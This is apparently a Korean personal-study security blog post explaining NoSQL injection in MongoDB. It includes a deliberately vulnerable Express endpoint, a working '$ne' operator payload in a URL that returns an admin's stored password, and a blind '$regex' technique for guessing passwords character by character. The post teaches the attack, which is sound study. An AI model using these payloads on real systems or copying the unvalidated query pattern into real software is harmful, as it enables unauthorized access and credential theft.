본문 바로가기

NoSQL Injection 본문

보안/개인공부

NoSQL Injection

Seongjun_You 2022. 6. 2. 00:34

SQL Injection은 SQL을 이해하고 있다면, 모든 RDBMS에 대해 공격을 수행할 수 있습니다.

그러나 NoSQL은 사용하는 DBMS에 따라 요청 방식과 구조가 다르기 때문에

각각의 DBMS에 대해 이해하고 있어야 합니다.

 

이번 NoSQL은 MongoDB만 다루겠습니다.

SQL은 저장하는 데이터의 자료형으로 문자열, 정수, 날짜, 실수 등을 사용할 수 있습니다.

MongoDB는 이 외에도 오브젝트, 배열 타입을 사용할 수 있습니다.

 

예제를 통해 알아보겠습니다.

const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
    db.collection('user').find({
        'uid': req.query.uid,
        'upw': req.query.upw
    }).toArray(function(err, result) {
        if (err) throw err;
        res.send(result);
  });
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});
http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]

uid와 upw에 해당하는 데이터를 찾고,  출력하는 예제 코드입니다.

이용자의 입력값에 대해 타입을 검증하지 않기 때문에 오브젝트 타입의 값을 입력할 수 있습니다.

오브젝트 타입의 값을 입력할 수 있다면 연산자를 사용할 수 있습니다. $ne연산자를 이용해

입력한 데이터와 일치하지 않는 데이터를 반환합니다.

즉 uid와 upw가 a가 아닌 데이터를 조회하는 예제입니다.

 

Blind NoSQL Injection

정규식을 사용해 식과 일치하는 데이터를 조회합니다.

$regex연산자를 통해 값을 하나씩 찾을 수 있습니다.

> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

 

'보안 > 개인공부' 카테고리의 다른 글

XSS Filtering Bypass - 1  (0) 2022.06.04
SSRF  (0) 2022.06.02
File Vulnerability  (0) 2022.05.31
CSRF  (0) 2022.05.30
XSS  (0) 2022.05.30
Comments